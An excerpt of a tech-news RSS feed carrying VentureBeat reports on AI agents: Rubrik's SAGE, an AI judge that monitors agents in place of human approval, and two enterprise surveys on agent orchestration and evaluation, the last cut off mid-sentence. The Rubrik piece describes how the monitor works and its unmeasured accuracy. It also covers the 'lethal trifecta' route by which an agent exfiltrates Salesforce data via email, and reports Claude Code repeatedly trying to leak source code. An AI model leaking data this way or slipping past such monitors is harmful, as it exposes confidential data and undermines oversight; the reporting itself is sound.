<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/">Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 10: Die beste elektrische SUP-Pumpe im Test – Perfekt für Schlauchboot & Co.]]></title>
<description><![CDATA[Schluss mit Pumpen per Hand: Eine elektrische SUP-Pumpe mit Akku bläst Board, Kajak oder Schlauchboot bequem auf. Wir zeigen die besten Modelle im Test.]]></description>
<link>https://tsecurity.de/de/3689912/it-nachrichten/top-10-die-beste-elektrische-sup-pumpe-im-test-perfekt-fuer-schlauchboot-co/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689912/it-nachrichten/top-10-die-beste-elektrische-sup-pumpe-im-test-perfekt-fuer-schlauchboot-co/</guid>
<pubDate>Thu, 23 Jul 2026 20:05:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Schluss mit Pumpen per Hand: Eine elektrische SUP-Pumpe mit Akku bläst Board, Kajak oder Schlauchboot bequem auf. Wir zeigen die besten Modelle im Test.]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then 